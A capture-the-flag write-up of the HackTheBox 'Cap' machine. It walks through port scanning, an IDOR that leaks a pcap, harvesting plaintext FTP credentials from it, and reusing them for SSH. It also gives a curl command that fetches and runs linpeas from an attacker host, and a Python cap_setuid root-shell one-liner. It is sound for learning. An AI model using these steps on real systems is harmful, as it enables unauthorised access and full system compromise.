CAP — xorrav

Initial Information Gathering

Port Scanning

➜  htb sudo nmap -sV -sC -F 10.129.23.164 -vv                  
PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 63 vsftpd 3.0.3
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 Gunicorn
|_http-title: Security Dashboard

Three ports are open: FTP (21), SSH (22), and HTTP (80). Port 80 is running a security dashboard powered by Gunicorn. I noticed a username nathan referenced in the web interface, which I kept in mind for later.

screenshot

Web Enumeration

I ran ffuf to look for hidden directories:

ffuf -u http://10.129.23.164/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 10

data      [Status: 302]
ip        [Status: 200]
netstat   [Status: 200]

I also fingerprinted the web technologies:

➜  htb whatweb 10.129.23.164
http://10.129.23.164 [200 OK] Bootstrap, HTTPServer[gunicorn], JQuery[2.2.4], Title[Security Dashboard]

Nothing immediately exploitable from the tech stack. I checked searchsploit and Metasploit for known vulnerabilities in Gunicorn but found nothing relevant.

IDOR Vulnerability on /data

While browsing the web app, I noticed the /data endpoint uses sequential numeric IDs in the URL — for example /data/3. I tested changing the ID to /data/0 and was able to access another user's captured network data without any authorization check. This is an Insecure Direct Object Reference (IDOR) vulnerability.

I downloaded the pcap file from /data/0 for analysis.

screenshot

Analyzing the PCAP

The pcap file was too long to read raw, so I used grep to filter for FTP credentials since FTP sends data in plaintext:

➜  Downloads tcpdump -r 0.pcap | grep "USER*"
FTP: USER nathan

➜  Downloads tcpdump -r 0.pcap | grep "PASS*"
FTP: PASS ~~REDACTED~~

I found plaintext FTP credentials for the user nathan captured in the network traffic.

Foothold

FTP Access

I tested the credentials on FTP first:

➜  htb ftp -p 10.129.23.164
Name: nathan
Password: 
230 Login successful.

ftp> ls
-r--------    1 1001     1001    33 Apr 23 23:48 user.txt
ftp> get user.txt
226 Transfer complete.

SSH Access

Since we need shell, I tried the same credentials over SSH:

➜  htb ssh nathan@10.129.23.164        
nathan@cap:~$

Got a shell as nathan.

Privilege Escalation

Checking sudo and SUID

nathan@cap:/$ sudo -l
Sorry, user nathan may not run sudo on cap.

Nathan has no sudo privileges. I then checked for SUID binaries but found nothing unusual — only standard system binaries.

Running LinPEAS

I transferred linpeas to the target using a Python HTTP server on my attacker machine:

# Attacker machine
➜  linpeas python3 -m http.server 8080

# Target machine
nathan@cap:/tmp$ curl http://10.10.15.107:8080/linpeas.sh -o linpeas.sh
nathan@cap:/tmp$ chmod +x linpeas.sh
nathan@cap:/tmp$ ./linpeas.sh

The Finding — Linux Capabilities

Under the Capabilities section, linpeas flagged a critical misconfiguration:

screenshot

python3.8 has been granted the cap_setuid capability, which allows it to change its process User ID to any user — including root (UID 0). Since Python is an interpreter that runs arbitrary code, this is extremely dangerous.

Exploiting cap_setuid

Using the technique from GTFOBins (https://gtfobins.github.io/gtfobins/python/#capabilities):

python3 -c 'import os; os.setuid(0); os.execl("/bin/sh", "sh")'

This works because:

os.setuid(0) — switches the process UID to root, which is allowed because python3.8 has cap_setuid
os.execl("/bin/sh", "sh") — spawns a shell that inherits the root UID

screenshot

Summary

Step	Finding
Web enumeration	Security dashboard with user nathan
IDOR on /data/0	Access to other users' pcap files
PCAP analysis	Plaintext FTP credentials for nathan
SSH	Shell access as nathan using same password
LinPEAS	python3.8 has cap_setuid capability
Privesc	cap_setuid abuse to escalate to root

Image credit: HackTheBox